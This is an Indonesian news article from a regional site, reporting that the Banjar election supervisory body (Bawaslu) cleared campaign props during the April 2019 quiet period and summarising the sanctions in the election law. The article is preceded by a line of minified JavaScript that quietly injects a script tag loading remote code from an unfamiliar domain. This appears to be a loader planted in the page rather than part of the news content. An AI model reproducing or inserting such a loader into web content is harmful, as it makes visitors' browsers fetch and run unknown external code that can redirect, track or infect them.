(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Bawaslu Banjar Gerak Cepat Turunkan APK


MARTAPURA, Masa tenang kampanye sudah tiba, masih belum ada kesadaran peserta pemilu yang diwajibkan melepaskan Alat Peraga Kampanye (APK) masing-masing. Bawaslu Banjar bergerak cepat bersihkan APK yang masih berhamburan di wilayah Kabupaten Banjar.

Komisioner Bawaslu Banjar, Hairul Falah mengatakan, pada Minggu (14/4/2019) Bawaslu Banjar dan jajaran hingga tingkat kecamatan bergerak cepat menertibkan sejumlah APK yang masih belum diturunkan peserta pemilu.

“Berdasarkan Peraturan KPU No 23 Tahun 2018 tentang kampanye pemilihan umum  dan Perbawaslu 21 nomor 23 tahun 2018 tentang pengawasan penyelenggara pemilu dan perbawaslu 28 tahun 2018 tentang pengawasan kampanye pemilu kita tertibkan APK yang masih terpasang tersebut,” jelasnya.

Ditambahkan Hairul, untuk hari ini sudah ada beberapa kecamatan di Kabupaten Banjar yang sudah ditertibkan, seperti APK di Kecamatan Mataraman, Kertak Hanyar, Cintapuri, Kecamatan Sambung Makmur, Sungai Tabuk hingga Kecamatan Beruntung Baru.

Besok Senin (15/4/2019) Bawaslu Banjar bersama tim gabungan akan melakukan penertiban serentak di seluruh wilayah Kabupaten Banjar.

“Apabila masih saja ada didapati APK yang bertebaran makan kita akan melakukan razia gabungan dan angkut APK itu besok dengan didukung Pemkab Banjar,” tegasnya.

Sementara bagi para peserta Pemilu dapat dijatuhkan sanksi jika melanggar aturan masa tenang yang telah ditetapkan lewat UU dan Peraturan KPU (PKPU).

Berdasarkan UU Pemilu No 7/2017, selama masa tenang, pelaksana, peserta, dan/atau tim kampanye Pemilu Presiden Dan Wakil Presiden dilarang menjanjikan atau memberikan imbalan kepada pemilih untuk: tidak menggunakan hak pilihnya, memilih pasangan calon, memilih partai politik peserta pemilu tertentu, dan memilih calon anggota DPR/DPRD/DPD tertentu. Hal ini tertuang dalam Pasal 278 UU Pemilu Nomor 7/2017.

Kemudian, merujuk pada Pasal 523 ayat (2) juncto Pasal 278 ayat (2) UU Pemilu, sanksi jika melanggar larangan di atas yaitu pidana penjara paling lama 4 tahun dan denda paling banyak Rp48 juta.

Melalui PKPU, KPU mengatur tentang larangan berkampanye di media sosial. Larangan itu tertuang dalam Pasal 53 ayat (4) PKPU No 23/2018. Bawaslu pun akan mengawasi kampanye di media sosial pada masa tenang. Bawaslu bekerja sama dengan Kominfo untuk mengawasi iklan di media sosial. (rendy)

Reporter: Rendy
Editor: Bie

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

7 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

10 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

10 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

12 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

14 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

15 jam ago

This website uses cookies.